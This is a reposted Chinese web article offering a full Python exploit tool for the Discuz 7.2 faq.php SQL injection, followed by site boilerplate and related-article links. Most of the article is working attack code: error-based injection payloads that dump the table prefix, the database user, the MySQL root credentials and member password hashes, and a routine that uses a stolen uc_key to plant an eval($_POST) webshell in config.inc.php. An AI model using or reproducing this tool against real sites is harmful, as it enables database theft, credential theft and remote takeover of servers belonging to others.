Python写的Discuz7.2版faq.php注入漏洞工具

discuz 7.2 faq.php全自动利用工具,getshell 以及dump数据,python 版的uc_key getshell部分的代码来自网上(感谢作者)

实现代码:

#!/usr/bin/env python# -*- coding: gbk -*-# -*- coding: gb2312 -*-# -*- coding: utf_8 -*- # author iswin import sysimport hashlibimport timeimport mathimport base64import urllib2 import urllibimport redef sendRequest(url,para):try:data = urllib.urlencode(para)req=urllib2.Request(url,data)res=urllib2.urlopen(req,timeout=20).read()except Exception, e:print 'Exploit Failed!%s'%(e)exit(0);return resdef getTablePrefix(url):print 'Start GetTablePrefix...'para={'action':'grouppermission','gids[99]':''','gids[100][0]':') and (select 1 from (select count(*),concat((select hex(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}res=sendRequest(url,para);pre=re.findall("Duplicate entry '(.*?)'",res);if len(pre)==0:print 'Exploit Failed!'exit(0);table_pre=pre[0][:len(pre[0])-1].decode('hex')table_pre=table_pre[0:table_pre.index('_')]print 'Table_pre:%s'%(table_pre)return table_predef getCurrentUser(url):para={'action':'grouppermission','gids[99]':''','gids[100][0]':') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}res=sendRequest(url,para)pre=re.findall("Duplicate entry '(.*?)'",res)if len(pre)==0:print 'Exploit Failed!'exit(0);table_pre=pre[0][:len(pre[0])-1]print 'Current User:%s'%(table_pre)return table_predef getUcKey(url):para={'action':'grouppermission','gids[99]':''','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}para1={'action':'grouppermission','gids[99]':''','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,63,2) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}res=sendRequest(url,para);res1=sendRequest(url,para1);key1=re.findall("Duplicate entry '(.*?)'",res)key2=re.findall("Duplicate entry '(.*?)'",res1)if len(key1)==0:print 'Get Uc_Key Failed!'return ''key=key1[0][:len(key1[0])-1]+key2[0][:len(key2[0])-1]print 'uc_key:%s'%(key)return keydef getRootUser(url):para={'action':'grouppermission','gids[99]':''','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(user,0x20,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}res=sendRequest(url,para);pre=re.findall("Duplicate entry '(.*?)'",res)if len(pre)==0:print 'Exploit Failed!'exit(0);table_pre=pre[0][:len(pre[0])-1].split(' ')print 'root info:user:%s password:%s'%(table_pre[0],table_pre[1])def dumpData(url,table_prefix,count):para={'action':'grouppermission','gids[99]':''','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(username,0x20,password) from %s_members limit %d,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'%(table_prefix,count)}res=sendRequest(url,para);datas=re.findall("Duplicate entry '(.*?)'",res)if len(datas)==0:print 'Exploit Failed!'exit(0)cleandata=datas[0][:len(datas[0])-1]info=cleandata.split(' ')print 'user:%s pass:%s'%(info[0],info[1])def microtime(get_as_float = False) :  if get_as_float:    return time.time()  else:    return '%.8f %d' % math.modf(time.time()) def get_authcode(string, key = ''):  ckey_length = 4  key = hashlib.md5(key).hexdigest()  keya = hashlib.md5(key[0:16]).hexdigest()  keyb = hashlib.md5(key[16:32]).hexdigest()  keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]  cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()   key_length = len(cryptkey)  string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string  string_length = len(string)  result = ''  box = range(0, 256)  rndkey = dict()  for i in range(0,256):    rndkey[i] = ord(cryptkey[i % key_length])  j=0  for i in range(0,256):    j = (j + box[i] + rndkey[i]) % 256    tmp = box[i]    box[i] = box[j]    box[j] = tmp  a=0  j=0  for i in range(0,string_length):    a = (a + 1) % 256    j = (j + box[a]) % 256    tmp = box[a]    box[a] = box[j]    box[j] = tmp    result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))  return keyc + base64.b64encode(result).replace('=', '') def get_shell(url,key,host):  headers={'Accept-Language':'zh-cn',  'Content-Type':'application/x-www-form-urlencoded',  'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',  'Referer':url  }  tm = time.time()+10*3600  tm="time=%d&action=updateapps" %tm  code = urllib.quote(get_authcode(tm,key))  url=url+"?code="+code  data1='''      http://xxx');eval($_POST[3]);//'''  try:    req=urllib2.Request(url,data=data1,headers=headers)    ret=urllib2.urlopen(req)  except:    return "Exploit Falied"  data2='''      http://aaa'''  try:    req=urllib2.Request(url,data=data2,headers=headers)    ret=urllib2.urlopen(req)  except:    return "error"  try:  req=urllib2.Request(host+'/config.inc.php')  res=urllib2.urlopen(req,timeout=20).read()  except Exception, e:  print 'GetWebshell Failed,%s'%(e)   return  print "webshell:"+host+"/config.inc.php,password:3"if __name__ == '__main__':print 'DZ7.x Exp Code By iswin'if len(sys.argv)

登录后复制

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至253000106@qq.com举报,一经查实,本站将立刻删除。

发布者:PHP中文网,转转请注明出处:https://www.chuangxiangniao.com/p/2303341.html

(0)
上一篇 2025年2月28日 07:00:30
下一篇 2025年2月23日 08:00:44

AD推荐 黄金广告位招租... 更多推荐

相关推荐

  • 跟老齐学Python之用Python计算

    一提到计算机,当然现在更多人把她叫做电脑,这两个词都是指computer。不管什么,只要提到她,普遍都会想到她能够比较快地做加减乘除,甚至乘方开方等。乃至于,有的人在口语中区分不开计算机和计算器。 那么,做为零基础学习这,也就从计算小学数学…

    编程技术 2025年2月28日
    200
  • 跟老齐学Python之Python安装

    任何高级语言都是需要一个自己的编程环境的,这就好比写字一样,需要有纸和笔,在计算机上写东西,也需要有文字处理软件,比如各种名称的office。笔和纸以及office软件,就是写东西的硬件或软件,总之,那些文字只能写在那个上边,才能最后成为一…

    编程技术 2025年2月28日
    200
  • python脚本实现查找webshell的方法

    本文讲述了一个python查找 webshell脚本的代码,除了查找webshell功能之外还具有白名单功能,以及发现恶意代码发送邮件报警等功能,感兴趣的朋友可以自己测试一下看看效果。 具体的功能代码如下: #!/usr/bin/env p…

    编程技术 2025年2月28日
    200
  • Python切片用法实例教程

    本文以实例形式讲述了python中切片操作的用法,分享给大家供大家参考借鉴,具体如下: 取一个list或tuple的部分元素是非常常见的操作。比如,一个list如下: >>> L = [‘Michael’, ‘Sarah’…

    编程技术 2025年2月28日
    200
  • python里对list中的整数求平均并排序

    问题 定义一个int型的一维数组,包含40个元素,用来存储每个学员的成绩,循环产生40个0~100之间的随机整数,(1)将它们存储到一维数组中,然后统计成绩低于平均分的学员的人数,并输出出来。(2)将这40个成绩按照从高到低的顺序输出出来。…

    编程技术 2025年2月28日
    200
  • Python多线程实例教程

    本文以实例形式较为详细的讲解了python的多线程,是python程序设计中非常重要的知识点。分享给大家供大家参考之用。具体方法如下: 用过Python的人都会觉得Python的多线程很类似于Java的多线程机制,但是比JAVA的多线程更灵…

    编程技术 2025年2月28日
    200
  • python爬虫入门教程之糗百图片爬虫代码分享

    学习python少不了写爬虫,不仅能以点带面地学习、练习使用python,爬虫本身也是有用且有趣的,大量重复性的下载、统计工作完全可以写一个爬虫程序完成。 用python写爬虫需要python的基础知识、涉及网络的几个模块、正则表达式、文件…

    编程技术 2025年2月28日
    200
  • Python Tkinter简单布局实例教程

    本文实例展示了python tkinter实现简单布局的方法,示例中备有较为详尽的注释,便于读者理解。分享给大家供大家参考之用。具体如下: # -*- coding: utf-8 -*-from Tkinter import *root =…

    编程技术 2025年2月28日
    200
  • python批量同步web服务器代码核心程序

    #!/usr/bin/env python #coding:utf8 import os,sys import md5,tab from mysql_co.my_db import set_mysql from ssh_co.ssh_con…

    编程技术 2025年2月28日
    200
  • python的tkinter布局之简单的聊天窗口实现方法

    本文实例展示了一个python的tkinter布局的简单聊天窗口。分享给大家供大家参考之用。具体方法如下: 该实例展示的是一个简单的聊天窗口,可以实现下方输入聊天内容,点击发送,可以增加到上方聊天记录列表中。现在只是“单机”版。右侧预留了空…

    编程技术 2025年2月28日
    200

发表回复

登录后才能评论